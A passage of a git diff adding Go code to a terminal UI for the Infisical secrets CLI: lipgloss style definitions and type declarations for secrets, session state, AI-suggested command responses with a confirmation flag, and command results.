lipgloss.NewStyle(). + Foreground(accentColor). + Bold(true) + + detailLabelStyle = lipgloss.NewStyle(). + Foreground(mutedColor) + + detailValueStyle = lipgloss.NewStyle(). + Foreground(textColor) + + // Prompt bar + promptBarStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(borderColor). + Padding(0, 1) + + promptBarActiveStyle = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(accentColor). + Padding(0, 1) + + promptPrefixStyle = lipgloss.NewStyle(). + Foreground(accentColor). + Bold(true) + + commandPreviewStyle = lipgloss.NewStyle(). + Foreground(warningColor). + Italic(true) + + // Overlays / modals + overlayStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(primaryColor). + Padding(1, 2). + Background(surfaceColor) + + confirmDangerStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(dangerColor). + Padding(1, 2). + Background(surfaceColor) + + // General + titleStyle = lipgloss.NewStyle(). + Foreground(primaryColor). + Bold(true) + + errorStyle = lipgloss.NewStyle(). + Foreground(dangerColor). + Bold(true) + + successStyle = lipgloss.NewStyle(). + Foreground(accentColor) + + spinnerStyle = lipgloss.NewStyle(). + Foreground(primaryColor) + + helpKeyStyle = lipgloss.NewStyle(). + Foreground(accentColor). + Bold(true) + + helpDescStyle = lipgloss.NewStyle(). + Foreground(mutedColor) +) diff --git a/packages/itui/types.go b/packages/itui/types.go new file mode 100644 index 00000000..22e62d58 --- /dev/null +++ b/packages/itui/types.go @@ -0,0 +1,75 @@ +package itui + +import "time" + +// FocusedPane tracks which pane has keyboard focus +type FocusedPane int + +const ( + PaneSecretBrowser FocusedPane = iota + PaneDetailOutput + PanePrompt +) + +// AppMode tracks the overall UI state +type AppMode int + +const ( + ModeNormal AppMode = iota + ModePromptInput + ModeCommandPreview + ModeConfirmation + ModeEnvPicker + ModeSecretForm + ModeHelp + ModeSearch +) + +// Secret mirrors the JSON output from infisical export --format=json +type Secret struct { + Key string `json:"key"` + Value string `json:"value"` + Type string `json:"type"` + ID string `json:"_id"` + SecretPath string `json:"secretPath"` + WorkspaceID string `json:"workspace"` + Comment string `json:"comment"` + Tags []Tag `json:"tags"` + SkipMultilineEncoding bool `json:"skipMultilineEncoding"` +} + +// Tag on a secret +type Tag struct { + ID string `json:"_id"` + Name string `json:"name"` + Slug string `json:"slug"` +} + +// SessionContext holds the current TUI session state +type SessionContext struct { + UserEmail string + ProjectID string + ProjectName string + Environment string + Path string + IsLoggedIn bool + LoginExpired bool + Environments []string +} + +// AIResponse is the structured response from the AI model +type AIResponse struct { + Command string `json:"command"` + Explanation string `json:"explanation"` + ActionType string `json:"action_type"` + RequiresConfirmation bool `json:"requires_confirmation"` +} + +// CommandResult holds the output of an executed CLI command +type CommandResult struct { + Command string + Stdout string + Stderr string + Error error + ExecTime time.Duration +}